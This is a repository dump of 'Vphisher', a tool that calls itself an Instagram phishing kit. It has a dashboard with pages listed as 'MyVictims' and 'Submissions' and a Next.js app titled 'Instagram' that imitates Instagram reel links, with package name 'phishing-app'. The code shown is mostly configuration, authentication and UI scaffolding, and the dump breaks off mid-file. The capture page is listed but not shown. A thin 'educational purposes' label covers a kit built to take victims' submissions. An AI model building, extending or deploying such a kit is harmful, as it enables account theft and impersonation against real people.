├── src ├── index.css ├── vite-env.d.ts ├── lib │ ├── utils.ts │ ├── supabase.ts │ └── auth.ts ├── components │ ├── ui │ │ ├── skeleton.tsx │ │ ├── sonner.tsx │ │ ├── label.tsx │ │ ├── separator.tsx │ │ ├── input.tsx │ │ ├── avatar.tsx │ │ ├── button.tsx │ │ ├── card.tsx │ │ ├── table.tsx │ │ ├── form.tsx │ │ ├── alert-dialog.tsx │ │ ├── sheet.tsx │ │ └── dropdown-menu.tsx │ ├── ThemeToggle.tsx │ ├── theme-provider.tsx │ └── DashboardLayout.tsx ├── main.tsx ├── App.css ├── context │ └── AuthContext.tsx ├── pages │ ├── dashboard │ │ ├── ConnectMePage.tsx │ │ ├── MyVictims.tsx │ │ ├── SubmissionsPage.tsx │ │ └── CreateReelPage.tsx │ ├── LoginPage.tsx │ └── SignupPage.tsx └── App.tsx ├── public ├── logo.png ├── user.jpg ├── fevicon.jpeg ├── loading_logo.png └── vphisher_logo.png ├── Instagram-reel-link ├── app │ ├── globals.css │ ├── page.tsx │ ├── lib │ │ └── supabase.ts │ ├── [reelId] │ │ ├── layout.tsx │ │ └── page.tsx │ └── layout.tsx ├── public │ ├── logo.png │ ├── loading_logo.png │ ├── loading_meta_logo.png │ └── instagram-web-lox-image.png ├── postcss.config.mjs ├── next.config.ts ├── eslint.config.mjs ├── .gitignore ├── tsconfig.json └── package.json ├── vercel.json ├── components.json ├── .gitignore ├── index.html ├── vite.config.ts ├── tsconfig.json ├── eslint.config.js ├── tsconfig.node.json ├── tsconfig.app.json ├── LICENSE ├── package.json └── README.md /src/index.css: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /src/vite-env.d.ts: -------------------------------------------------------------------------------- 1 | /// 2 | -------------------------------------------------------------------------------- /public/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vinaytz/Vphisher/HEAD/public/logo.png -------------------------------------------------------------------------------- /public/user.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vinaytz/Vphisher/HEAD/public/user.jpg -------------------------------------------------------------------------------- /Instagram-reel-link/app/globals.css: -------------------------------------------------------------------------------- 1 | @tailwind utilities; 2 | 3 | @import "tailwindcss"; -------------------------------------------------------------------------------- /public/fevicon.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vinaytz/Vphisher/HEAD/public/fevicon.jpeg -------------------------------------------------------------------------------- /public/loading_logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vinaytz/Vphisher/HEAD/public/loading_logo.png -------------------------------------------------------------------------------- /public/vphisher_logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vinaytz/Vphisher/HEAD/public/vphisher_logo.png -------------------------------------------------------------------------------- /vercel.json: -------------------------------------------------------------------------------- 1 | { 2 | "rewrites": [ 3 | { "source": "/(.*)", "destination": "/" } 4 | ] 5 | } 6 | -------------------------------------------------------------------------------- /Instagram-reel-link/public/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vinaytz/Vphisher/HEAD/Instagram-reel-link/public/logo.png -------------------------------------------------------------------------------- /Instagram-reel-link/public/loading_logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vinaytz/Vphisher/HEAD/Instagram-reel-link/public/loading_logo.png -------------------------------------------------------------------------------- /Instagram-reel-link/postcss.config.mjs: -------------------------------------------------------------------------------- 1 | const config = { 2 | plugins: ["@tailwindcss/postcss"], 3 | }; 4 | 5 | export default config; 6 | -------------------------------------------------------------------------------- /Instagram-reel-link/public/loading_meta_logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vinaytz/Vphisher/HEAD/Instagram-reel-link/public/loading_meta_logo.png -------------------------------------------------------------------------------- /Instagram-reel-link/public/instagram-web-lox-image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vinaytz/Vphisher/HEAD/Instagram-reel-link/public/instagram-web-lox-image.png -------------------------------------------------------------------------------- /src/lib/utils.ts: -------------------------------------------------------------------------------- 1 | import { clsx, type ClassValue } from "clsx" 2 | import { twMerge } from "tailwind-merge" 3 | 4 | export function cn(...inputs: ClassValue[]) { 5 | return twMerge(clsx(inputs)) 6 | } 7 | -------------------------------------------------------------------------------- /Instagram-reel-link/app/page.tsx: -------------------------------------------------------------------------------- 1 | 2 | export default function Home() { 3 | return ( 4 | 5 | <> 6 |
Muhhaaaa....
7 | 8 | ); 9 | } 10 | -------------------------------------------------------------------------------- /src/lib/supabase.ts: -------------------------------------------------------------------------------- 1 | 2 | import { createClient } from '@supabase/supabase-js'; 3 | 4 | const supabaseUrl = import.meta.env.VITE_SUPABASE_URL as string; 5 | const supabaseAnonKey = import.meta.env.VITE_SUPABASE_ANON_KEY as string; 6 | 7 | export const supabase = createClient(supabaseUrl, supabaseAnonKey); 8 | -------------------------------------------------------------------------------- /Instagram-reel-link/app/lib/supabase.ts: -------------------------------------------------------------------------------- 1 | import { createClient } from '@supabase/supabase-js'; 2 | 3 | const supabaseUrl = process.env.NEXT_PUBLIC_SUPABASE_URL as string; 4 | const supabaseAnonKey = process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY as string; 5 | 6 | export const supabase = createClient(supabaseUrl, supabaseAnonKey); -------------------------------------------------------------------------------- /src/components/ui/skeleton.tsx: -------------------------------------------------------------------------------- 1 | import { cn } from "@/lib/utils" 2 | 3 | function Skeleton({ className, ...props }: React.ComponentProps<"div">) { 4 | return ( 5 |
10 | ) 11 | } 12 | 13 | export { Skeleton } 14 | -------------------------------------------------------------------------------- /Instagram-reel-link/next.config.ts: -------------------------------------------------------------------------------- 1 | import type { NextConfig } from "next"; 2 | 3 | const nextConfig: NextConfig = { 4 | images: { 5 | remotePatterns: [ 6 | { 7 | protocol: 'https', 8 | hostname: 'www.instagram.com', 9 | port: '', 10 | pathname: '/static/images/**', 11 | }, 12 | ], 13 | }, 14 | }; 15 | 16 | export default nextConfig; 17 | -------------------------------------------------------------------------------- /src/main.tsx: -------------------------------------------------------------------------------- 1 | import React from 'react'; 2 | import ReactDOM from 'react-dom/client'; 3 | import App from './App'; 4 | import './index.css'; 5 | import { AuthProvider } from './context/AuthContext'; 6 | 7 | ReactDOM.createRoot(document.getElementById('root')!).render( 8 | 9 | 10 | 11 | 12 | , 13 | ); -------------------------------------------------------------------------------- /components.json: -------------------------------------------------------------------------------- 1 | { 2 | "$schema": "https://ui.shadcn.com/schema.json", 3 | "style": "default", 4 | "rsc": false, 5 | "tsx": true, 6 | "tailwind": { 7 | "config": "tailwind.config.js", 8 | "css": "src/index.css", 9 | "baseColor": "slate", 10 | "cssVariables": true 11 | }, 12 | "aliases": { 13 | "components": "@/components", 14 | "utils": "@/lib/utils" 15 | } 16 | } -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Logs 2 | logs 3 | *.log 4 | npm-debug.log* 5 | yarn-debug.log* 6 | yarn-error.log* 7 | pnpm-debug.log* 8 | lerna-debug.log* 9 | 10 | node_modules 11 | dist 12 | dist-ssr 13 | *.local 14 | 15 | # Editor directories and files 16 | .vscode/* 17 | !.vscode/extensions.json 18 | .idea 19 | .DS_Store 20 | *.suo 21 | *.ntvs* 22 | *.njsproj 23 | *.sln 24 | *.sw? 25 | 26 | # Environment variables 27 | .env 28 | -------------------------------------------------------------------------------- /Instagram-reel-link/eslint.config.mjs: -------------------------------------------------------------------------------- 1 | import { dirname } from "path"; 2 | import { fileURLToPath } from "url"; 3 | import { FlatCompat } from "@eslint/eslintrc"; 4 | 5 | const __filename = fileURLToPath(import.meta.url); 6 | const __dirname = dirname(__filename); 7 | 8 | const compat = new FlatCompat({ 9 | baseDirectory: __dirname, 10 | }); 11 | 12 | const eslintConfig = [ 13 | ...compat.extends("next/core-web-vitals", "next/typescript"), 14 | ]; 15 | 16 | export default eslintConfig; 17 | -------------------------------------------------------------------------------- /index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Vphisher 9 | 10 | 11 |
12 | 13 | 14 | -------------------------------------------------------------------------------- /vite.config.ts: -------------------------------------------------------------------------------- 1 | import { defineConfig } from 'vite'; 2 | import react from '@vitejs/plugin-react'; 3 | import path from 'path'; 4 | import tailwindcss from '@tailwindcss/postcss'; 5 | 6 | // https://vitejs.dev/config/ 7 | export default defineConfig({ 8 | plugins: [react()], 9 | css: { 10 | postcss: { 11 | plugins: [tailwindcss], 12 | }, 13 | }, 14 | resolve: { 15 | alias: { 16 | '@': path.resolve(__dirname, './src'), 17 | }, 18 | }, 19 | optimizeDeps: { 20 | exclude: ['pg', 'bcryptjs', 'jsonwebtoken'], 21 | }, 22 | 23 | }); -------------------------------------------------------------------------------- /src/components/ui/sonner.tsx: -------------------------------------------------------------------------------- 1 | import { useTheme } from "next-themes" 2 | import { Toaster as Sonner, ToasterProps } from "sonner" 3 | 4 | const Toaster = ({ ...props }: ToasterProps) => { 5 | const { theme = "system" } = useTheme() 6 | 7 | return ( 8 | 20 | ) 21 | } 22 | 23 | export { Toaster } 24 | -------------------------------------------------------------------------------- /Instagram-reel-link/app/[reelId]/layout.tsx: -------------------------------------------------------------------------------- 1 | 2 | import type { Metadata } from 'next'; 3 | import { Inter } from 'next/font/google'; 4 | 5 | const inter = Inter({ subsets: ['latin'] }); 6 | 7 | export const metadata: Metadata = { 8 | title: 'Instagram', 9 | description: 'Instagram phishing app, just for educational purposes', 10 | }; 11 | 12 | export default function RootLayout({ children }: { children: React.ReactNode }) { 13 | return ( 14 | 15 | 16 | 17 | 18 | {children} 19 | 20 | ); 21 | } -------------------------------------------------------------------------------- /Instagram-reel-link/.gitignore: -------------------------------------------------------------------------------- 1 | # See https://help.github.com/articles/ignoring-files/ for more about ignoring files. 2 | 3 | # dependencies 4 | /node_modules 5 | /.pnp 6 | .pnp.* 7 | .yarn/* 8 | !.yarn/patches 9 | !.yarn/plugins 10 | !.yarn/releases 11 | !.yarn/versions 12 | 13 | # testing 14 | /coverage 15 | 16 | # next.js 17 | /.next/ 18 | /out/ 19 | 20 | # production 21 | /build 22 | 23 | # misc 24 | .DS_Store 25 | *.pem 26 | 27 | # debug 28 | npm-debug.log* 29 | yarn-debug.log* 30 | yarn-error.log* 31 | .pnpm-debug.log* 32 | 33 | # env files (can opt-in for committing if needed) 34 | .env* 35 | 36 | # vercel 37 | .vercel 38 | 39 | # typescript 40 | *.tsbuildinfo 41 | next-env.d.ts 42 | -------------------------------------------------------------------------------- /Instagram-reel-link/app/layout.tsx: -------------------------------------------------------------------------------- 1 | import './globals.css'; 2 | import type { Metadata } from 'next'; 3 | import { Inter } from 'next/font/google'; 4 | 5 | const inter = Inter({ subsets: ['latin'] }); 6 | 7 | export const metadata: Metadata = { 8 | title: 'Instagram', 9 | description: 'Instagram phishing app, just for educational purposes', 10 | }; 11 | 12 | export default function RootLayout({ children }: { children: React.ReactNode }) { 13 | return ( 14 | 15 | 16 | 17 | 18 | {children} 19 | 20 | ); 21 | } -------------------------------------------------------------------------------- /tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "ES2020", 4 | 5 | "lib": ["DOM", "DOM.Iterable", "ES2020"], 6 | "allowJs": false, 7 | "skipLibCheck": true, 8 | "esModuleInterop": true, 9 | "allowSyntheticDefaultImports": true, 10 | "strict": true, 11 | "forceConsistentCasingInFileNames": true, 12 | "module": "ESNext", 13 | "moduleResolution": "bundler", 14 | "resolveJsonModule": true, 15 | "isolatedModules": true, 16 | "noEmit": true, 17 | "jsx": "react-jsx", 18 | "baseUrl": "./src", 19 | "paths": { 20 | "@/*": ["./*"] 21 | } 22 | }, 23 | "include": ["src"], 24 | "references": [{ "path": "./tsconfig.node.json" }] 25 | } 26 | -------------------------------------------------------------------------------- /eslint.config.js: -------------------------------------------------------------------------------- 1 | import js from '@eslint/js' 2 | import globals from 'globals' 3 | import reactHooks from 'eslint-plugin-react-hooks' 4 | import reactRefresh from 'eslint-plugin-react-refresh' 5 | import tseslint from 'typescript-eslint' 6 | import { globalIgnores } from 'eslint/config' 7 | 8 | export default tseslint.config([ 9 | globalIgnores(['dist']), 10 | { 11 | files: ['**/*.{ts,tsx}'], 12 | extends: [ 13 | js.configs.recommended, 14 | tseslint.configs.recommended, 15 | reactHooks.configs['recommended-latest'], 16 | reactRefresh.configs.vite, 17 | ], 18 | languageOptions: { 19 | ecmaVersion: 2020, 20 | globals: globals.browser, 21 | }, 22 | }, 23 | ]) 24 | -------------------------------------------------------------------------------- /src/components/ui/label.tsx: -------------------------------------------------------------------------------- 1 | "use client" 2 | 3 | import * as React from "react" 4 | import * as LabelPrimitive from "@radix-ui/react-label" 5 | 6 | import { cn } from "@/lib/utils" 7 | 8 | function Label({ 9 | className, 10 | ...props 11 | }: React.ComponentProps) { 12 | return ( 13 | 21 | ) 22 | } 23 | 24 | export { Label } 25 | -------------------------------------------------------------------------------- /Instagram-reel-link/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "ES2017", 4 | "lib": ["dom", "dom.iterable", "esnext"], 5 | "allowJs": true, 6 | "skipLibCheck": true, 7 | "strict": true, 8 | "noEmit": true, 9 | "esModuleInterop": true, 10 | "module": "esnext", 11 | "moduleResolution": "bundler", 12 | "resolveJsonModule": true, 13 | "isolatedModules": true, 14 | "jsx": "preserve", 15 | "incremental": true, 16 | "plugins": [ 17 | { 18 | "name": "next" 19 | } 20 | ], 21 | "paths": { 22 | "@/*": ["./*"] 23 | } 24 | }, 25 | "include": ["next-env.d.ts", "**/*.ts", "**/*.tsx", ".next/types/**/*.ts"], 26 | "exclude": ["node_modules"] 27 | } 28 | -------------------------------------------------------------------------------- /src/App.css: -------------------------------------------------------------------------------- 1 | #root { 2 | max-width: 1280px; 3 | margin: 0 auto; 4 | padding: 2rem; 5 | text-align: center; 6 | } 7 | 8 | .logo { 9 | height: 6em; 10 | padding: 1.5em; 11 | will-change: filter; 12 | transition: filter 300ms; 13 | } 14 | .logo:hover { 15 | filter: drop-shadow(0 0 2em #646cffaa); 16 | } 17 | .logo.react:hover { 18 | filter: drop-shadow(0 0 2em #61dafbaa); 19 | } 20 | 21 | @keyframes logo-spin { 22 | from { 23 | transform: rotate(0deg); 24 | } 25 | to { 26 | transform: rotate(360deg); 27 | } 28 | } 29 | 30 | @media (prefers-reduced-motion: no-preference) { 31 | a:nth-of-type(2) .logo { 32 | animation: logo-spin infinite 20s linear; 33 | } 34 | } 35 | 36 | .card { 37 | padding: 2em; 38 | } 39 | 40 | .read-the-docs { 41 | color: #888; 42 | } 43 | -------------------------------------------------------------------------------- /tsconfig.node.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "tsBuildInfoFile": "./node_modules/.tmp/tsconfig.node.tsbuildinfo", 4 | "target": "ES2023", 5 | "lib": ["ES2023"], 6 | "module": "ESNext", 7 | "skipLibCheck": true, 8 | 9 | /* Bundler mode */ 10 | "moduleResolution": "bundler", 11 | "allowImportingTsExtensions": true, 12 | "verbatimModuleSyntax": true, 13 | "moduleDetection": "force", 14 | "composite": true, 15 | "noEmit": false, 16 | "emitDeclarationOnly": true, 17 | 18 | /* Linting */ 19 | "strict": true, 20 | "noUnusedLocals": true, 21 | "noUnusedParameters": true, 22 | "erasableSyntaxOnly": true, 23 | "noFallthroughCasesInSwitch": true, 24 | "noUncheckedSideEffectImports": true 25 | }, 26 | "include": ["vite.config.ts"] 27 | } 28 | -------------------------------------------------------------------------------- /Instagram-reel-link/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "phishing-app", 3 | "version": "0.1.0", 4 | "private": true, 5 | "scripts": { 6 | "dev": "next dev --turbopack", 7 | "build": "next build", 8 | "start": "next start", 9 | "lint": "next lint" 10 | }, 11 | "dependencies": { 12 | "@supabase/supabase-js": "^2.50.5", 13 | "next": "15.3.5", 14 | "postcss": "^8.5.6", 15 | "react": "^19.0.0", 16 | "react-dom": "^19.0.0" 17 | }, 18 | "devDependencies": { 19 | "@eslint/eslintrc": "^3", 20 | "@tailwindcss/postcss": "^4.1.11", 21 | "@types/node": "^20", 22 | "@types/react": "^19", 23 | "@types/react-dom": "^19", 24 | "eslint": "^9", 25 | "eslint-config-next": "15.3.5", 26 | "tailwindcss": "^4.1.11", 27 | "typescript": "^5" 28 | } 29 | } 30 | 31 | 32 | -------------------------------------------------------------------------------- /src/components/ui/separator.tsx: -------------------------------------------------------------------------------- 1 | import * as React from "react" 2 | import * as SeparatorPrimitive from "@radix-ui/react-separator" 3 | 4 | import { cn } from "@/lib/utils" 5 | 6 | function Separator({ 7 | className, 8 | orientation = "horizontal", 9 | decorative = true, 10 | ...props 11 | }: React.ComponentProps) { 12 | return ( 13 | 23 | ) 24 | } 25 | 26 | export { Separator } 27 | -------------------------------------------------------------------------------- /tsconfig.app.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "tsBuildInfoFile": "./node_modules/.tmp/tsconfig.app.tsbuildinfo", 4 | "target": "ES2022", 5 | "useDefineForClassFields": true, 6 | "lib": ["ES2022", "DOM", "DOM.Iterable"], 7 | "module": "ESNext", 8 | "skipLibCheck": true, 9 | 10 | /* Bundler mode */ 11 | "moduleResolution": "bundler", 12 | "allowImportingTsExtensions": true, 13 | "verbatimModuleSyntax": true, 14 | "moduleDetection": "force", 15 | "noEmit": true, 16 | "jsx": "react-jsx", 17 | 18 | /* Linting */ 19 | "strict": true, 20 | "noUnusedLocals": true, 21 | "noUnusedParameters": true, 22 | "erasableSyntaxOnly": true, 23 | "noFallthroughCasesInSwitch": true, 24 | "noUncheckedSideEffectImports": true 25 | }, 26 | "include": ["src"] 27 | } 28 | -------------------------------------------------------------------------------- /src/components/ThemeToggle.tsx: -------------------------------------------------------------------------------- 1 | import { Button } from '@/components/ui/button'; 2 | import { useTheme } from '@/components/theme-provider'; 3 | import { Moon, Sun } from 'lucide-react'; 4 | 5 | export function ThemeToggle() { 6 | const { theme, setTheme } = useTheme(); 7 | 8 | const toggleTheme = () => { 9 | setTheme(theme === 'dark' ? 'light' : 'dark'); 10 | }; 11 | 12 | return ( 13 | 23 | ); 24 | } -------------------------------------------------------------------------------- /src/components/ui/input.tsx: -------------------------------------------------------------------------------- 1 | import * as React from "react" 2 | 3 | import { cn } from "@/lib/utils" 4 | 5 | function Input({ className, type, ...props }: React.ComponentProps<"input">) { 6 | return ( 7 | 18 | ) 19 | } 20 | 21 | export { Input } 22 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 Vinay Tiwari 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /src/components/ui/avatar.tsx: -------------------------------------------------------------------------------- 1 | import * as React from "react" 2 | import * as AvatarPrimitive from "@radix-ui/react-avatar" 3 | 4 | import { cn } from "@/lib/utils" 5 | 6 | function Avatar({ 7 | className, 8 | ...props 9 | }: React.ComponentProps) { 10 | return ( 11 | 19 | ) 20 | } 21 | 22 | function AvatarImage({ 23 | className, 24 | ...props 25 | }: React.ComponentProps) { 26 | return ( 27 | 32 | ) 33 | } 34 | 35 | function AvatarFallback({ 36 | className, 37 | ...props 38 | }: React.ComponentProps) { 39 | return ( 40 | 48 | ) 49 | } 50 | 51 | export { Avatar, AvatarImage, AvatarFallback } 52 | -------------------------------------------------------------------------------- /src/context/AuthContext.tsx: -------------------------------------------------------------------------------- 1 | 2 | import React, { createContext, useContext, useEffect, useState, ReactNode } from 'react'; 3 | import { getCurrentUser } from '@/lib/auth'; 4 | import { User } from '@supabase/supabase-js'; 5 | 6 | interface AuthContextType { 7 | user: User | null; 8 | loading: boolean; 9 | setUser: (user: User | null) => void; 10 | } 11 | 12 | const AuthContext = createContext(undefined); 13 | 14 | export const AuthProvider = ({ children }: { children: ReactNode }) => { 15 | const [user, setUser] = useState(null); 16 | const [loading, setLoading] = useState(true); 17 | 18 | useEffect(() => { 19 | const fetchUser = async () => { 20 | try { 21 | const currentUser = await getCurrentUser(); 22 | setUser(currentUser); 23 | } catch (error) { 24 | console.error("Failed to fetch current user:", error); 25 | setUser(null); 26 | } finally { 27 | setLoading(false); 28 | } 29 | }; 30 | 31 | fetchUser(); 32 | }, []); 33 | 34 | return ( 35 | 36 | {children} 37 | 38 | ); 39 | }; 40 | 41 | export const useAuth = () => { 42 | const context = useContext(AuthContext); 43 | if (context === undefined) { 44 | throw new Error('useAuth must be used within an AuthProvider'); 45 | } 46 | return context; 47 | }; 48 | -------------------------------------------------------------------------------- /src/lib/auth.ts: -------------------------------------------------------------------------------- 1 | 2 | import { supabase } from './supabase'; 3 | import { User } from '@supabase/supabase-js'; 4 | 5 | export const signup = async (email: string, password: string, name: string): Promise => { 6 | const { data, error } = await supabase.auth.signUp({ 7 | email, 8 | password, 9 | options: { 10 | data: { 11 | full_name: name, 12 | }, 13 | }, 14 | }); 15 | 16 | if (error) { 17 | console.error('Signup API Error:', error); 18 | throw new Error(error.message || 'Failed to sign up'); 19 | } 20 | 21 | if (!data.user) { 22 | throw new Error('User not created'); 23 | } 24 | 25 | return data.user; 26 | }; 27 | 28 | export const login = async (email: string, password: string): Promise => { 29 | const { data, error } = await supabase.auth.signInWithPassword({ 30 | email, 31 | password, 32 | }); 33 | 34 | if (error) { 35 | console.error('Login API Error:', error); 36 | throw new Error(error.message || 'Failed to log in'); 37 | } 38 | 39 | if (!data.user) { 40 | throw new Error('User not found'); 41 | } 42 | 43 | return data.user; 44 | }; 45 | 46 | export const logout = async (): Promise => { 47 | const { error } = await supabase.auth.signOut(); 48 | if (error) { 49 | console.error('Logout API Error:', error); 50 | throw new Error(error.message || 'Failed to log out'); 51 | } 52 | }; 53 | 54 | export const getCurrentUser = async (): Promise => { 55 | const { data: { user } } = await supabase.auth.getUser(); 56 | return user; 57 | }; 58 | -------------------------------------------------------------------------------- /src/components/theme-provider.tsx: -------------------------------------------------------------------------------- 1 | 2 | import React, { createContext, useContext, useEffect, useState } from 'react'; 3 | 4 | type Theme = 'dark' | 'light'; 5 | 6 | type ThemeProviderProps = { 7 | children: React.ReactNode; 8 | defaultTheme?: Theme; 9 | storageKey?: string; 10 | }; 11 | 12 | type ThemeProviderState = { 13 | theme: Theme; 14 | setTheme: (theme: Theme) => void; 15 | }; 16 | 17 | const initialState: ThemeProviderState = { 18 | theme: 'dark', 19 | setTheme: () => null, 20 | }; 21 | 22 | const ThemeProviderContext = createContext(initialState); 23 | 24 | export function ThemeProvider({ 25 | children, 26 | defaultTheme = 'dark', 27 | storageKey = 'vite-ui-theme', 28 | ...props 29 | }: ThemeProviderProps) { 30 | const [theme, setTheme] = useState(() => { 31 | return (localStorage.getItem(storageKey) as Theme) || defaultTheme; 32 | }); 33 | 34 | useEffect(() => { 35 | const root = window.document.documentElement; 36 | root.classList.remove('light', 'dark'); 37 | root.classList.add(theme); 38 | }, [theme]); 39 | 40 | const value = { 41 | theme, 42 | setTheme: (newTheme: Theme) => { 43 | localStorage.setItem(storageKey, newTheme); 44 | setTheme(newTheme); 45 | }, 46 | }; 47 | 48 | return ( 49 | 50 | {children} 51 | 52 | ); 53 | } 54 | 55 | export const useTheme = () => { 56 | const context = useContext(ThemeProviderContext); 57 | 58 | if (context === undefined) { 59 | throw new Error('useTheme must be used within a ThemeProvider'); 60 | } 61 | 62 | return context; 63 | }; 64 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "admin-dashboard", 3 | "private": true, 4 | "version": "0.0.0", 5 | "type": "module", 6 | "scripts": { 7 | "dev": "vite", 8 | "build": "tsc -b && vite build", 9 | "lint": "eslint .", 10 | "preview": "vite preview" 11 | }, 12 | "dependencies": { 13 | "@hookform/resolvers": "^5.1.1", 14 | "@radix-ui/react-alert-dialog": "^1.1.14", 15 | "@radix-ui/react-avatar": "^1.1.10", 16 | "@radix-ui/react-dialog": "^1.1.14", 17 | "@radix-ui/react-dropdown-menu": "^2.1.15", 18 | "@radix-ui/react-label": "^2.1.7", 19 | "@radix-ui/react-separator": "^1.1.7", 20 | "@radix-ui/react-slot": "^1.2.3", 21 | "@supabase/supabase-js": "^2.50.5", 22 | "class-variance-authority": "^0.7.1", 23 | "clsx": "^2.1.1", 24 | "lucide-react": "^0.525.0", 25 | "next-themes": "^0.4.6", 26 | "react": "^19.1.0", 27 | "react-dom": "^19.1.0", 28 | "react-hook-form": "^7.60.0", 29 | "react-router-dom": "^7.6.3", 30 | "sonner": "^2.0.6", 31 | "tailwind-merge": "^3.3.1", 32 | "tailwindcss-animate": "^1.0.7", 33 | "zod": "^4.0.5" 34 | }, 35 | "devDependencies": { 36 | "@eslint/js": "^9.30.1", 37 | "@tailwindcss/postcss": "^4.1.11", 38 | "@types/react": "^19.1.8", 39 | "@types/react-dom": "^19.1.6", 40 | "@vitejs/plugin-react": "^4.6.0", 41 | "autoprefixer": "^10.4.21", 42 | "eslint": "^9.30.1", 43 | "eslint-plugin-react-hooks": "^5.2.0", 44 | "eslint-plugin-react-refresh": "^0.4.20", 45 | "globals": "^16.3.0", 46 | "postcss": "^8.5.6", 47 | "tailwindcss": "^4.1.11", 48 | "tw-animate-css": "^1.3.5", 49 | "typescript": "~5.8.3", 50 | "typescript-eslint": "^8.35.1", 51 | "vite": "^7.0.4" 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /src/pages/dashboard/ConnectMePage.tsx: -------------------------------------------------------------------------------- 1 | 2 | import { Card, CardContent, CardHeader, CardTitle, CardDescription } from '@/components/ui/card'; 3 | import { Github, Instagram, Linkedin, Youtube, Mail } from 'lucide-react'; 4 | 5 | const socialLinks = [ 6 | { href: 'https://www.linkedin.com/in/vinaytz', icon: Linkedin, label: 'LinkedIn', color: '#0A66C2' }, 7 | { href: 'https://github.com/vinaytz', icon: Github, label: 'GitHub', color: '#FFFFFF' }, 8 | { href: 'https://www.instagram.com/vinaytz', icon: Instagram, label: 'Instagram', color: '#E4405F' }, 9 | { href: 'https://www.youtube.com/@noctivagousgg', icon: Youtube, label: 'YouTube', color: '#FF0000' }, 10 | ]; 11 | 12 | export default function ConnectMePage() { 13 | return ( 14 | 15 | 16 | 17 | Connect with Me 18 | 19 | 20 | Follow my work and get in touch on these platforms. 21 | 22 | 23 | 24 |
25 | {socialLinks.map((link) => ( 26 | 33 | 34 | {link.label} 35 | 36 | ))} 37 |
38 |
39 |
40 | ); 41 | } 42 | -------------------------------------------------------------------------------- /src/components/ui/button.tsx: -------------------------------------------------------------------------------- 1 | import * as React from "react" 2 | import { Slot } from "@radix-ui/react-slot" 3 | import { cva, type VariantProps } from "class-variance-authority" 4 | 5 | import { cn } from "@/lib/utils" 6 | 7 | const buttonVariants = cva( 8 | "inline-flex items-center justify-center gap-2 whitespace-nowrap rounded-md text-sm font-medium transition-all disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg:not([class*='size-'])]:size-4 shrink-0 [&_svg]:shrink-0 outline-none focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:ring-[3px] aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive", 9 | { 10 | variants: { 11 | variant: { 12 | default: 13 | "bg-primary text-primary-foreground shadow-xs hover:bg-primary/90", 14 | destructive: 15 | "bg-destructive text-white shadow-xs hover:bg-destructive/90 focus-visible:ring-destructive/20 dark:focus-visible:ring-destructive/40 dark:bg-destructive/60", 16 | outline: 17 | "border bg-background shadow-xs hover:bg-accent hover:text-accent-foreground dark:bg-input/30 dark:border-input dark:hover:bg-input/50", 18 | secondary: 19 | "bg-secondary text-secondary-foreground shadow-xs hover:bg-secondary/80", 20 | ghost: 21 | "hover:bg-accent hover:text-accent-foreground dark:hover:bg-accent/50", 22 | link: "text-primary underline-offset-4 hover:underline", 23 | }, 24 | size: { 25 | default: "h-9 px-4 py-2 has-[>svg]:px-3", 26 | sm: "h-8 rounded-md gap-1.5 px-3 has-[>svg]:px-2.5", 27 | lg: "h-10 rounded-md px-6 has-[>svg]:px-4", 28 | icon: "size-9", 29 | }, 30 | }, 31 | defaultVariants: { 32 | variant: "default", 33 | size: "default", 34 | }, 35 | } 36 | ) 37 | 38 | function Button({ 39 | className, 40 | variant, 41 | size, 42 | asChild = false, 43 | ...props 44 | }: React.ComponentProps<"button"> & 45 | VariantProps & { 46 | asChild?: boolean 47 | }) { 48 | const Comp = asChild ? Slot : "button" 49 | 50 | return ( 51 | 56 | ) 57 | } 58 | 59 | export { Button, buttonVariants } 60 | -------------------------------------------------------------------------------- /src/components/ui/card.tsx: -------------------------------------------------------------------------------- 1 | import * as React from "react" 2 | 3 | import { cn } from "@/lib/utils" 4 | 5 | function Card({ className, ...props }: 